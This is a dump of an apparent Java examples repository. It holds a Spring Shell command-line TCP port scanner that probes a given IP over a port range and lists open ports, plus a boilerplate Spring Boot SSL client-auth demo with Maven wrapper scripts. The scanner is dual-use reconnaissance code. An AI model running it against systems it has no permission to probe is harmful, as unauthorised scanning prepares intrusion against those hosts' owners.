/spring-shell-port-scanner/src/main/java/com/pavelsklenar/portscanner/PortScannerApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.portscanner; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class PortScannerApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(PortScannerApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/src/main/java/com/pavelsklenar/portscanner/ScannerCommand.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.portscanner; 2 | 3 | import java.util.ArrayList; 4 | import java.util.List; 5 | import java.util.concurrent.ExecutionException; 6 | import java.util.concurrent.Future; 7 | 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.shell.standard.ShellComponent; 10 | import org.springframework.shell.standard.ShellMethod; 11 | import org.springframework.shell.standard.ShellOption; 12 | 13 | @ShellComponent 14 | public class ScannerCommand { 15 | 16 | public static final String PORT_SEPARATOR = "-"; 17 | private final ScannerService scannerService; 18 | 19 | @Autowired 20 | public ScannerCommand(ScannerService scannerService) { 21 | this.scannerService = scannerService; 22 | } 23 | 24 | @ShellMethod(value = "Scan open ports for a specific IP address") 25 | public String scan( 26 | @ShellOption(help = "IP address") String ip, 27 | @ShellOption(help = "Specific port or port range, e.g. 1-1024") String port, 28 | @ShellOption(help = "Weather only open ports should be displayed") boolean displayOnlyOpen 29 | ) throws ExecutionException, InterruptedException { 30 | //Add all required ports into port scanner 31 | List> futureList; 32 | if (port.contains(PORT_SEPARATOR)) { 33 | String[] rangeLimits = port.split(PORT_SEPARATOR); 34 | futureList = addToScan(ip, range(Integer.parseInt(rangeLimits[0]), Integer.parseInt(rangeLimits[1]))); 35 | } else { 36 | futureList = addToScan(ip, Integer.parseInt(port)); 37 | } 38 | 39 | //Read and write results 40 | for (final Future scanResultFuture : futureList) { 41 | ScannerService.ScanResult scanResult = scanResultFuture.get(); 42 | if (displayOnlyOpen) { 43 | if (scanResult.isOpen()) { 44 | System.out.println(scanResult); 45 | } 46 | } else { 47 | System.out.println(scanResult); 48 | } 49 | } 50 | 51 | return "DONE"; 52 | } 53 | 54 | private List> addToScan(String ip, int... ports) { 55 | List> result = new ArrayList<>(); 56 | for (int port : ports) { 57 | result.add(scannerService.checkPort(ip, port)); 58 | } 59 | return result; 60 | } 61 | 62 | private int[] range(int min, int max) { 63 | int[] result = new int[max - min + 1]; 64 | for (int i = min; i <= max; i++) { 65 | result[i-min] = i; 66 | } 67 | return result; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/src/main/java/com/pavelsklenar/portscanner/ScannerService.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.portscanner; 2 | 3 | import java.io.IOException; 4 | import java.net.InetSocketAddress; 5 | import java.net.Socket; 6 | import java.util.concurrent.Future; 7 | 8 | import org.springframework.beans.factory.annotation.Value; 9 | import org.springframework.scheduling.annotation.Async; 10 | import org.springframework.scheduling.annotation.AsyncResult; 11 | import org.springframework.stereotype.Component; 12 | 13 | @Component 14 | public class ScannerService { 15 | 16 | @Value("${scanner.timeout:100}") 17 | private int timeout; 18 | 19 | @Async 20 | public Future checkPort(String ip, int port) { 21 | try { 22 | Socket socket = new Socket(); 23 | socket.connect(new InetSocketAddress(ip, port), timeout); 24 | socket.close(); 25 | return new AsyncResult<>(new ScanResult(port, true)); 26 | } catch (IOException ex) { 27 | return new AsyncResult<>(new ScanResult(port, false)); 28 | } 29 | } 30 | 31 | public final class ScanResult { 32 | 33 | private final int port; 34 | private final boolean isOpen; 35 | 36 | public ScanResult(int port, boolean isOpen) { 37 | this.port = port; 38 | this.isOpen = isOpen; 39 | } 40 | 41 | public int getPort() { 42 | return port; 43 | } 44 | 45 | public boolean isOpen() { 46 | return isOpen; 47 | } 48 | 49 | @Override 50 | public String toString() { 51 | return "port " + port + " - " + (isOpen ? "open" : "closed"); 52 | } 53 | } 54 | 55 | 56 | } 57 | -------------------------------------------------------------------------------- /spring-shell-port-scanner/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | threads.count = 1024 -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | ssl-client-auth 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | ssl-client-auth 12 | Demo project for Spring Boot 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.5.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-web 31 | 32 | 33 | 34 | org.springframework.boot 35 | spring-boot-starter-test 36 | test 37 | 38 | 39 | 40 | 41 | 42 | 43 | org.springframework.boot 44 | spring-boot-maven-plugin 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/src/main/java/com/pavelsklenar/sslclientauth/SslClientAuthApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.sslclientauth; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class SslClientAuthApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(SslClientAuthApplication.class, args); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/src/main/resources/application.properties: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-web-ssl-client-auth/src/main/resources/application.properties -------------------------------------------------------------------------------- /spring-web-ssl-client-auth/src/test/java/com/pavelsklenar/sslclientauth/SslClientAuthApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.sslclientauth; 2 | 3 | import org.junit.Test; 4 | import org.junit.runner.RunWith; 5 | import org.springframework.boot.test.context.SpringBootTest; 6 | import org.springframework.test.context.junit4.SpringRunner; 7 | 8 | @RunWith(SpringRunner.class) 9 | @SpringBootTest 10 | public class SslClientAuthApplicationTests { 11 | 12 | @Test 13 | public void contextLoads() { 14 | } 15 | 16 | } 17 | --------------------------------------------------------------------------------